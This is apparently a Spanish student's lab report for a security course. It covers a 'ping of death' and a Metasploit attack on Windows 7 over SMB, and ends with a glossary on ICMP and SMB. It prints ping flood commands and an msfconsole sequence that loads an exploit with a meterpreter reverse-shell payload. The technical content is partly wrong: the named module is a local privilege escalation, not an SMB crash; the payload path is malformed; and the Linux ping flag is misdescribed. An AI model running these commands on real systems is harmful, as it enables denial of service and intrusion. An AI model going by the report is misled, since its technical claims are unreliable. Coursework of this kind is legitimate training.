Módulo: 4
Nombre: Alejandro Asenjo
Fecha: 27 de junio de 2014

Primer Trabajo: ping de la muerte

Herramienta: Kali Linux, Ping

Objetivo: utilizar un ordenador de la clase para realizar un "ping de la muerte" a través de los sistema operativo (Windows y Linux)

Utilizando el comando para Windows

ping -t "ip" -l "tamaño paquete"

Utilizando el comando para Linux

ping -l "tamaño paquete" "ip"

Aclaración: en linux "Ubuntu Server" tiene límite de envío de paquete.

Recomendación: utilizar un firewall con las reglas correspondiente se puede bloquear icmp o limitarlo al exterior, y en el interior permitirla.

Segundo Trabajo: Provocar error de pantalla azul a Windows 7, a través del servicio SMB.

Herramienta: Kali Linux, msfconsole

Objetivo: utilizar Kali, cargar un exploit y la transmisión del mismo, para enviar a una máquina seleccionada.

```
Msfconsole
use exploit/windows/local/ms13_081_track_popup_menu
set payload windows/windows/meterpreter/reverse_tcp
set rhost "ip del destino"
set session 1
exploit
```

Se activa la utilidad, se carga el exploit, y el payload reverse_tcp. Se selecciona el destino al cual se realizará el ataque y se carga la sesión para que comunique con dicha máquina, posteriormente se envía el exploit.

Recomendación: deshabilitar el uso de SMB en windows.

Vocabulario:

icmp: El Protocolo de Mensajes de Control de Internet o ICMP (por sus siglas en inglés de Internet Control Message Protocol) es el sub protocolo de control y notificación de errores del Protocolo de Internet (IP). Como tal, se usa para enviar mensajes de error, indicando por ejemplo que un servicio determinado no está disponible o que un router o host no puede ser localizado. También puede ser utilizado para transmitir mensajes ICMP Query.

SMB: Server Message Block o SMB es un Protocolo de red (que pertenece a la capa de aplicación en el modelo OSI) que permite compartir archivos e impresoras (entre otras cosas) entre nodos de una red. Es utilizado principalmente en ordenadores con Microsoft Windows y DOS.

Los servicios de impresión y el SMB para compartir archivos se han transformado en el pilar de las redes de Microsoft, Con la presentación de la Serie Windows 2000 del software, Microsoft cambió la estructura incremento continuo para el uso del SMB. En versiones anteriores de los productos de Microsoft, los servicios de SMB utilizaron un protocolo que no es TCP/IP para implementar la resolución de nombres de dominio. Comenzando con Windows 2000, todos los productos subsiguientes de Microsoft utilizan denominación DNS. Esto permite a los protocolos TCP/IP admitir directamente el compartir recursos SMB.

Fuente:

Wikipedia
Prof. Francisco Hernández